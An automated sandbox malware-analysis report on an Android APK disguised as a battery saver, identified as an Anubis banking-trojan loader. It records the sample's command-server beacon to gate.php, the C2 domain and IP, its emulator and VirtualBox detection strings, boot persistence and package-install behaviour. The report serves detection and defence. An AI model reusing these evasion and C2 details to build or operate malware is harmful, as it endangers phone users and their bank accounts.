Loading ...

Play interactive tourEdit tour

Analysis Report TjDzbwPt4Y

Overview

General Information

Joe Sandbox Version:25.0.0 Tiger's Eye
Analysis ID:67660
Start date:20.01.2019
Start time:19:34:02
Joe Sandbox Product:Cloud
Overall analysis duration:0h 4m 37s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:TjDzbwPt4Y
Cookbook file name:defaultandroidfilecookbook-d97a63536a7225bb1e788e7c244373dc.jbs
Analysis system description:Android 5.1 Native (Motorola Moto G 3rd Generation)
Detection:MAL
Classification:mal80.troj.evad.and@0/251@1/0
Warnings:
Show All
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all resource files were parsed

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold800 - 100Report FP / FNfalsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for submitted fileShow sources
Source: TjDzbwPt4YAvira: Label: ANDROID/Drop.Agent.vqxut
Multi AV Scanner detection for submitted fileShow sources
Source: TjDzbwPt4Yvirustotal: Detection: 32%Perma Link

Spreading:

barindex
Accesses external storage locationShow sources
Source: com.saver.batterymobi.lkj.a.c;->b:251API Call: android.os.Environment.getExternalStorageDirectory

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.34.76.230:35973 -> 47.88.223.111:80
Source: TrafficSnort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.34.76.230:39028 -> 47.88.223.111:80
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Opens an internet connectionShow sources
Source: com.saver.batterymobi.lkj.a.a$a;->a:3API Call: java.net.URL.openConnection (not executed)
Source: com.saver.batterymobi.lkj.a.c$a;->a:9API Call: java.net.URL.openConnection (not executed)
Source: com.saver.batterymobi.lkj.a.c;->b:260API Call: java.net.URL.openConnection (not executed)
Found strings which match to known social media urlsShow sources
Source: androidString found in binary or memory: Error twitter equals www.twitter.com (Twitter)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: projectpredator.space
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /gate.php HTTP/1.1Content-Length: 110User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; MotoG3 Build/LPI23.72-47)Host: projectpredator.spaceConnection: Keep-AliveAccept-Encoding: gzipContent-Type: application/x-www-form-urlencodedData Raw: 6f 70 65 72 61 74 69 6f 6e 3d 63 68 65 63 6b 62 6f 74 26 64 61 74 61 3d 4d 7a 42 69 4d 32 59 79 59 57 46 69 59 54 41 7a 4d 6d 59 31 4d 44 42 6d 59 6a 55 35 4f 54 55 78 5a 47 45 78 4f 44 5a 6b 4d 44 49 78 59 6a 45 35 5a 54 56 6c 4d 44 55 32 4d 7a 68 6c 5a 54 59 32 4e 44 41 31 4f 47 55 35 4d 54 45 77 0a 59 6d 51 77 4e 47 51 3d 0a Data Ascii: operation=checkbot&data=MzBiM2YyYWFiYTAzMmY1MDBmYjU5OTUxZGExODZkMDIxYjE5ZTVlMDU2MzhlZTY2NDA1OGU5MTEwYmQwNGQ=
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://projectpredator.space
Source: abc_tint_btn_checkable.xml, abc_select_dialog_material.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: select_dialog_multichoice_material.xml, abc_tint_btn_checkable.xml, notification_action_background.xml, abc_screen_simple.xml, abc_search_view.xml, abc_ratingbar_small_material.xml, abc_select_dialog_material.xml, abc_action_menu_item_layout.xml, abc_alert_dialog_title_material.xml, abc_screen_simple_overlay_action_mode.xml, abc_alert_dialog_button_bar_material.xml, abc_cascading_menu_item_layout.xml, abc_slide_out_bottom.xml, abc_expanded_menu_layout.xml, abc_ic_arrow_drop_right_black_24dp.xml, abc_seekbar_track_material.xml, provider_paths.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: androidString found in binary or memory: https://t.me/battsr
Uses HTTP for connecting to the internetShow sources
Source: com.saver.batterymobi.lkj.a.a$a;->a:22API Call: java.net.HttpURLConnection.connect
Source: com.saver.batterymobi.lkj.a.c$a;->a:14API Call: java.net.HttpURLConnection.connect

E-Banking Fraud:

barindex
Detected Anubis e-Banking trojan loaderShow sources
Source: Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;)VMethod string: "idbot startLoader urlAdminPanel kill"
Source: Lcom/saver/batterymobi/lkj/jgj/esd;->a(Landroid/content/Context;)VMethod string: "idbot urlAdminPanel startLoader ::kill:: kill"
Source: Lcom/saver/batterymobi/lkj/a;-><init>()VMethod string: "idbot startLoader urlAdminPanel kill"

Change of System Appearance:

barindex
May access the Android keyguard (lock screen)Show sources
Source: androidString found in binary or memory: keyguard
Sets a repeating alarmShow sources
Source: com.saver.batterymobi.lkj.a.c;->a:25API Call: android.app.AlarmManager.setRepeating

System Summary:

barindex
Requests permissions only permitted to signed APKs or APKs which are within the system imageShow sources
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Classification labelShow sources
Source: classification engineClassification label: mal80.troj.evad.and@0/251@1/0
Reads shares settingsShow sources
Source: com.saver.batterymobi.MainActivity;->a:25API Call: "btn": null
Source: com.saver.batterymobi.lkj.a.c;->b:249API Call: "initialization": null
Source: com.saver.batterymobi.lkj.a.c;->b:249API Call: "kill":
Source: com.saver.batterymobi.lkj.a.c;->b:249API Call: "step": 0
Source: com.saver.batterymobi.MainActivity;->a:25API Call: "btn": 0
Source: com.saver.batterymobi.MainActivity;->a:25API Call: "min": 27
Source: com.saver.batterymobi.MainActivity;->a:25API Call: "btn": 1
Registers a Sensor listener (to get data about accelerometer, gyrometer etc.)Show sources
Source: com.saver.batterymobi.lkj.jgj.jgr;->onCreate:35API Call: android.hardware.SensorManager.registerListener
Source: com.saver.batterymobi.lkj.jgj.jgr;->onStartCommand:53API Call: android.hardware.SensorManager.registerListener
Source: com.saver.batterymobi.lkj.jgj.jgr;->onSensorChanged:40API Call: android.hardware.SensorManager.registerListener
Source: com.saver.batterymobi.lkj.jgj.jgr;->onSensorChanged:43API Call: android.hardware.SensorManager.registerListener
Source: com.saver.batterymobi.lkj.jgj.jgr;->onSensorChanged:43API Call: android.hardware.SensorManager.registerListener

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: TjDzbwPt4YTotal valid method names: 8%
Uses reflectionShow sources
Source: unknownAPI Call: Real call: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
Source: androidx.versionedparcelable.a;->a:6API Call: java.lang.reflect.Method.invoke
Source: androidx.versionedparcelable.a;->a:28API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Has permission to install other packagesShow sources
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Sets an intent to the APK data type (used to install other APKs)Show sources
Source: com.saver.batterymobi.lkj.a.c;->c:319API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.saver.batterymobi.lkj.a.c;->c:328API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.saver.batterymobi.lkj.zxs.drg$b;->onPageFinished:86API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.saver.batterymobi.lkj.zxs.drg$b;->onPageFinished:96API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Starts an activity on phone boot (autostart)Show sources
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:72API Call: android.content.Context.startActivity (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:88API Call: android.content.Context.startActivity (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:120API Call: android.content.Context.startActivity (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:125API Call: android.content.Context.startActivity (not executed)
Starts/registers a service/receiver on phone boot (autostart)Show sources
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:56API Call: android.app.ReceiverRestrictedContext.startService("Intent { cmp=com.saver.batterymobi/.lkj.jgj.jgr }")
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:48API Call: android.content.Context.startService (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:51API Call: android.content.Context.startService (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:59API Call: android.content.Context.startService (not executed)
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:62API Call: android.content.Context.startService (not executed)

Hooking and other Techniques for Hiding and Protection:

barindex
Uses Crypto APIsShow sources
Source: com.saver.batterymobi.lkj.a.c;->a:5API Call: java.security.MessageDigest.getInstance
Source: com.saver.batterymobi.lkj.a.c;->a:7API Call: java.security.MessageDigest.update
Source: com.saver.batterymobi.lkj.a.c;->a:8API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Tries to detect Android x86Show sources
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "sdk_x86"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "generic_x86"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "Android SDK built for x86"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "generic_x86/sdk_x86/generic_x86"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "generic_x86/sdk_x86/generic_x86"
Source: Lcom/saver/batterymobi/lkj/a/c;->c()ZMethod string: "Android SDK built for x86"
Tries to detect the analysis device (e.g. the Android emulator)Show sources
Source: Lcom/saver/batterymobi/lkj/a/c;->c()ZMethod string: "Emulator"
Accesses android OS build fieldsShow sources
Source: com.saver.batterymobi.lkj.a.c;->b:290Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->b:290Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->b:290Field Access: android.os.Build.MANUFACTURER
Source: com.saver.batterymobi.lkj.a.c;->b:290Field Access: android.os.Build.BRAND
Source: com.saver.batterymobi.lkj.a.c;->b:290Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.MANUFACTURER
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.BRAND
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.DEVICE
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->b:291Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->c:35Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->c:38Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->c:41Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->c:44Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->c:47Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->c:50Field Access: android.os.Build.MANUFACTURER
Source: com.saver.batterymobi.lkj.a.c;->c:53Field Access: android.os.Build.BRAND
Source: com.saver.batterymobi.lkj.a.c;->c:56Field Access: android.os.Build.DEVICE
Source: com.saver.batterymobi.lkj.a.c;->c:60Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->d:62Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->d:65Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->d:68Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->d:71Field Access: android.os.Build.PRODUCT
Source: com.saver.batterymobi.lkj.a.c;->d:74Field Access: android.os.Build.MANUFACTURER
Source: com.saver.batterymobi.lkj.a.c;->d:77Field Access: android.os.Build.MANUFACTURER
Source: com.saver.batterymobi.lkj.a.c;->d:80Field Access: android.os.Build.BRAND
Source: com.saver.batterymobi.lkj.a.c;->d:83Field Access: android.os.Build.BRAND
Source: com.saver.batterymobi.lkj.a.c;->d:86Field Access: android.os.Build.DEVICE
Source: com.saver.batterymobi.lkj.a.c;->d:89Field Access: android.os.Build.DEVICE
Source: com.saver.batterymobi.lkj.a.c;->d:92Field Access: android.os.Build.DEVICE
Source: com.saver.batterymobi.lkj.a.c;->d:95Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->d:98Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->d:101Field Access: android.os.Build.MODEL
Source: com.saver.batterymobi.lkj.a.c;->d:110Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->d:113Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->d:116Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.a.c;->d:119Field Access: android.os.Build.FINGERPRINT
Source: com.saver.batterymobi.lkj.jgj.esd;->a:146Field Access: android.os.Build$VERSION.RELEASE
Tries to detect VirtualboxShow sources
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "vbox86p"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "vbox86p"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "vbox86"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "generic/vbox86p/vbox86p"
Source: Lcom/saver/batterymobi/lkj/a/c;->d()ZMethod string: "generic/vbox86p/vbox86p"
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: MANIFEST.MFBinary or memory string: SHA1-Digest: ogz76jVbGes7o3OQTrbQEMuZsf0=

Language, Device and Operating System Detection:

barindex
Queries the network operator ISO country codeShow sources
Source: com.saver.batterymobi.lkj.jgj.esd;->a:156API Call: android.telephony.TelephonyManager.getNetworkCountryIso

Stealing of Sensitive Information:

barindex
Queries a list of installed applicationsShow sources
Source: com.saver.batterymobi.lkj.a.c;->b:229API Call: android.content.pm.PackageManager.getInstalledApplications
Source: com.saver.batterymobi.lkj.dsf.brt;->onReceive:107API Call: android.content.pm.PackageManager.getInstalledApplications
Source: com.saver.batterymobi.lkj.jgj.ecr;->a:112API Call: android.content.pm.PackageManager.getInstalledApplications
Sample Distance (10 = nearest)
10 9 8 7 6 5 4 3 2 1
Samplename Analysis ID SHA256 Similarity
TjDzbwPt4Y67660Get hash
Titan Evolution World_v2.2.0_apkpure.com.apk65938Get hash
Plant Evolution World_v2.2.0_apkpure.com.apk65942Get hash
Alien Evolution World_v2.2.0_apkpure.com.apk65940Get hash
Runtastic Results Bodyweight Workout Fitness_v2.11_apkpure.com.apk66233Get hash
com.kmart.android_243.apk62407Get hash
com.color.call.flash.colorphone_2018-09-21.apk79203Get hash
net.lionbird.google.theSweetieCandy-v2.2.0.apk65951Get hash
FindNow_v0.5.3_apkpure.com.apk67505Get hash
jp.naver.line.android_2018-07-26.apk71881Get hash
Cute Emoticons_v1.2.0_.com.apk70800Get hash
optusmms.apk61882Get hash
kXrcnTWuKs57100Get hash
rahavpn.apk40900Get hash
mominis.Generic_Android.Ninja_Chicken_Beach_2015_2018-06-05.apk64509Get hash
Granny_v1.4.0.1_apkpure.com.apk69235Get hash
com.pandora.android-2.apk31296Get hash
com.anvilgroup.globetracker-406.apk75176Get hash
app.apk70740Get hash
optus_mms24042018.apk59455Get hash
hRhY56H9ED57825Get hash
com.runtastic.android.results.lite-2.8.1-varies-sdk19-vc201802223-APK4Fun.com.apk52920Get hash
EWAtKmv1A1.apk59203Get hash
Ada_com.ada.app_1551250000_2.18.0_.apk54577Get hash
mominis.Generic_Android.Ninja_Chicken_2018-06-12.apk64506Get hash
com.nitroxenon.terrarium_1.9.10-112.apk69556Get hash
com.anvilgroup.triphub-2456.apk62080Get hash
QKx7J8ttMc.MRG56813Get hash
flashlight_sky.apk45399Get hash
mms_14092018_02.apk77142Get hash
MotionGPS_v2.8_apkpure.com.apk37342Get hash
com.spacegame.cashshow_2018-02-26.apk49355Get hash
com.anvilgroup.triphub-2466.apk75175Get hash
8Oyr7mJfJo.MRG57200Get hash
ZodSwFD5zW.apk56881Get hash
GaLB6Uui0W.MRG56812Get hash
HDUyNNq5Sq.apk42695Get hash
mms_21092018_03.apk78889Get hash
optus_mms20082018.apk73737Get hash
mms_05092018_02.apk75451Get hash
yM9bcXAmTx.apk63661Get hash
com.anvilgroup.pearsonTA-129.apk75178Get hash
668JzNRCMG.MRG57246Get hash
sparkasse-trojan.apk55416Get hash

Antivirus Detection

Initial Sample

SourceDetectionScannerLabelLink
TjDzbwPt4Y32%virustotalBrowse
TjDzbwPt4Y100%AviraANDROID/Drop.Agent.vqxut

Dropped Files

No Antivirus matches

Domains

SourceDetectionScannerLabelLink
projectpredator.space5%virustotalBrowse

URLs

SourceDetectionScannerLabelLink
http://projectpredator.space/gate.php0%virustotalBrowse
http://projectpredator.space/gate.php0%Avira URL Cloudsafe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
CNNIC-ALIBABA-CN-NET-APAlibabaChinaTechnologyCoLtdsetup_clover@3.4.0.exeGet hashmaliciousBrowse
  • 47.89.39.18
Emotet.docGet hashmaliciousBrowse
  • 47.88.77.166
75PO9981.exeGet hashmaliciousBrowse
  • 47.89.33.51
YTk8XiSTBu.exeGet hashmaliciousBrowse
  • 198.11.132.250
15Faktura_VAT_58498730231.jsGet hashmaliciousBrowse
  • 47.88.217.150
Bob_Dumur_request.docGet hashmaliciousBrowse
  • 47.74.187.177
https://bitly.com/2ADBPisGet hashmaliciousBrowse
  • 47.89.250.83
17Faktura_VAT_87365267391.jsGet hashmaliciousBrowse
  • 47.74.181.168
51Faktura_VAT_94873871209.jsGet hashmaliciousBrowse
  • 47.74.181.168
50Faktura_VAT_84985764785.jsGet hashmaliciousBrowse
  • 47.74.181.168
13Faktura_VAT_85764785093.jsGet hashmaliciousBrowse
  • 47.74.181.168
43Faktura_VAT_75894876378.jsGet hashmaliciousBrowse
  • 47.74.181.168
77VLMDUET.exeDPKAA.exeGet hashmaliciousBrowse
  • 47.90.2.54
2018.2.20[s_kawadu].xlsGet hashmaliciousBrowse
  • 47.52.193.63
base.apkGet hashmaliciousBrowse
  • 47.254.56.213
Paydirec.exeGet hashmaliciousBrowse
  • 47.74.242.102
39Sales Inquiry-pdf.exeGet hashmaliciousBrowse
  • 47.91.188.225
http://syjingermei.xyz/content/pics/deruhedees.gifGet hashmaliciousBrowse
  • 47.88.68.21
3Transfer slip.pdf.exeGet hashmaliciousBrowse
  • 47.91.170.222
20Payment confirmation.exeGet hashmaliciousBrowse
  • 47.91.170.222

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
projectpredator.space47.88.223.111truetrue5%, virustotal, Browseunknown

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://projectpredator.space/gate.phptrue
  • 0%, virustotal, Browse
  • Avira URL Cloud: safe
unknown

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://projectpredator.spaceandroidfalse
    high
    http://schemas.android.com/apk/res/androidselect_dialog_multichoice_material.xml, abc_tint_btn_checkable.xml, notification_action_background.xml, abc_screen_simple.xml, abc_search_view.xml, abc_ratingbar_small_material.xml, abc_select_dialog_material.xml, abc_action_menu_item_layout.xml, abc_alert_dialog_title_material.xml, abc_screen_simple_overlay_action_mode.xml, abc_alert_dialog_button_bar_material.xml, abc_cascading_menu_item_layout.xml, abc_slide_out_bottom.xml, abc_expanded_menu_layout.xml, abc_ic_arrow_drop_right_black_24dp.xml, abc_seekbar_track_material.xml, provider_paths.xmlfalse
      high
      http://schemas.android.com/apk/res-autoabc_tint_btn_checkable.xml, abc_select_dialog_material.xmlfalse
        high
        https://t.me/battsrandroidfalse
          high

          Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public

          IPCountryFlagASNASN NameMalicious
          47.88.223.111United States
          45102CNNIC-ALIBABA-CN-NET-APAlibabaChinaTechnologyCoLtdtrue

          Static File Info

          General

          File type:Zip archive data, at least v2.0 to extract
          Entropy (8bit):7.5373946169239705
          TrID:
          • Android Package (19004/1) 52.05%
          • Java Archive (13504/1) 36.99%
          • ZIP compressed archive (4004/1) 10.97%
          File name:TjDzbwPt4Y
          File size:1284913
          MD5:d97a63536a7225bb1e788e7c244373dc
          SHA1:b012eb5538ad1d56c5bdf9fe9562791a163dffa4
          SHA256:64ebe9b975de022b888f17db429af3a93d3db95db5af274e3eefd3ca7f24e350
          SHA512:38a0b214bb32ec99b7fdb15ee3b5f8b3e8c46b00bd6672d69a08f41bd2d9ee58cf5cfce2ed85099f2e0895ca72070107cfdd78497456229066a1d1d562541da6
          SSDEEP:24576:08R9gIcsW5ubI1kIoAsuMb/1JFiaRkiz5F7RpN/5OWGigvPiBL:08RyIcsW5kP3AsDb/1PjRjz/NnBjgvPC
          File Content Preview:PK........L..MRI^.....l.......AndroidManifest.xml..IPTW..O.L......L2<pV."B+.......L6"P4.C.JWYX.SYd...J\d...E*.,.r.MV..T....w....;..4.w.w.=.9w|...R..%.P.}.$.A..?.\o.j...$.A..k.G.g.w./h..<h......B.....j..j.............}...u....~.....}.}......;....>...TJ....

          File Icon

          Static APK Info

          General

          Label:BatterySaverMobi
          Minimum SDK required:15
          Target SDK required:28
          Version Code:2
          Version Name:2
          Package Name:com.saver.batterymobi
          Is Activity:true
          Is Receiver:true
          Is Service:true
          Requests System Level Permissions:false
          Play Store Compatible:true

          Activities

          NameIs Entrypoint
          com.saver.batterymobicom.saver.batterymobi.MainActivitytrue
          com.saver.batterymobicom.saver.batterymobi.lkj.zxs.kgr
          com.saver.batterymobicom.saver.batterymobi.lkj.zxs.drg
          com.saver.batterymobicom.saver.batterymobi.lkj.zxs.frw

          Receivers

          • com.saver.batterymobi.lkj.dsf.brt
          • Intent: android.intent.action.BOOT_COMPLETED (Priority 999), android.intent.action.QUICKBOOT_POWERON (Priority 999), com.htc.intent.action.QUICKBOOT_POWERON (Priority 999), android.intent.action.USER_PRESENT (Priority 999), android.intent.action.PACKAGE_ADDED (Priority 999), android.intent.action.PACKAGE_REMOVED (Priority 999), android.intent.action.SCREEN_ON (Priority 999), android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE (Priority 999), android.net.conn.CONNECTIVITY_CHANGE (Priority 999), android.net.conn.CONNECTIVITY_CHANGE (Priority 999), android.net.wifi.WIFI_STATE_CHANGED (Priority 999), android.intent.action.DREAMING_STOPPED (Priority 999)

          Services

          • com.saver.batterymobi.lkj.jgj.ecr
          • com.saver.batterymobi.lkj.jgj.edw
          • com.saver.batterymobi.lkj.jgj.esd
          • com.saver.batterymobi.lkj.jgj.jgr

          Permission Requested

          • android.permission.INSTALL_PACKAGES
          • android.permission.INTERNET
          • android.permission.READ_EXTERNAL_STORAGE
          • android.permission.RECEIVE_BOOT_COMPLETED
          • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
          • android.permission.REQUEST_INSTALL_PACKAGES
          • android.permission.WRITE_EXTERNAL_STORAGE

          Certificate

          Name:classes.dex
          Issuer:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US
          Subject:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US

          Resources

          NameTypeSize
          abc_text_select_handle_right_mtrl_light.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
          abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced1526
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced253
          abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced262
          notify_panel_notification_icon_bg.pngPNG image data, 14 x 14, 8-bit/color RGB, non-interlaced107
          notification_bg_normal_pressed.9.pngPNG image data, 8 x 8, 8-bit/color RGB, non-interlaced223
          select_dialog_multichoice_material.xmlAndroid binary XML780
          abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced2816
          abc_ic_clear_material.xmlAndroid binary XML684
          abc_ic_star_half_black_16dp.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced235
          abc_ic_star_black_48dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced467
          android.arch.core_runtime.versionASCII text6
          abc_ic_star_half_black_16dp.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced376
          abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced825
          abc_tint_btn_checkable.xmlAndroid binary XML728
          androidx.vectordrawable_vectordrawable-animated.versionASCII text6
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced325
          abc_ic_star_black_48dp.pngPNG image data, 192 x 192, 8-bit gray+alpha, non-interlaced1680
          abc_textfield_default_mtrl_alpha.9.pngPNG image data, 12 x 11, 8-bit gray+alpha, non-interlaced178
          abc_list_pressed_holo_dark.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced209
          abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced280
          androidx.localbroadcastmanager_localbroadcastmanager.versionASCII text6
          ic_launcher.pngPNG image data, 192 x 192, 8-bit/color RGB, non-interlaced55758
          notification_action_background.xmlAndroid binary XML1180
          notification_template_icon_group.xmlAndroid binary XML392
          abc_screen_simple.xmlAndroid binary XML832
          abc_search_view.xmlAndroid binary XML3428
          abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced267
          abc_text_select_handle_middle_mtrl_light.pngPNG image data, 30 x 36, 8-bit/color RGBA, non-interlaced396
          abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced145
          abc_list_selector_disabled_holo_light.9.pngPNG image data, 21 x 63, 8-bit gray+alpha, non-interlaced229
          abc_tint_btn_checkable.xmlAndroid binary XML624
          abc_popup_menu_header_item_layout.xmlAndroid binary XML804
          abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced2505
          abc_ratingbar_small_material.xmlAndroid binary XML704
          notification_bg_low_pressed.9.pngPNG image data, 16 x 16, 8-bit/color RGB, non-interlaced252
          abc_seekbar_thumb_material.xmlAndroid binary XML1100
          abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 20 x 24, 8-bit gray+alpha, non-interlaced198
          abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced754
          abc_select_dialog_material.xmlAndroid binary XML976
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced492
          abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 40 x 48, 8-bit/color RGBA, non-interlaced583
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 36 x 48, 8-bit gray+alpha, non-interlaced448
          abc_spinner_mtrl_am_alpha.9.pngPNG image data, 72 x 96, 8-bit gray+alpha, non-interlaced430
          abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
          abc_btn_check_to_on_mtrl_015.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced432
          abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced186
          abc_edit_text_material.xmlAndroid binary XML1172
          abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 38 x 33, 8-bit gray+alpha, non-interlaced199
          androidx.viewpager_viewpager.versionASCII text6
          abc_tint_default.xmlAndroid binary XML1224
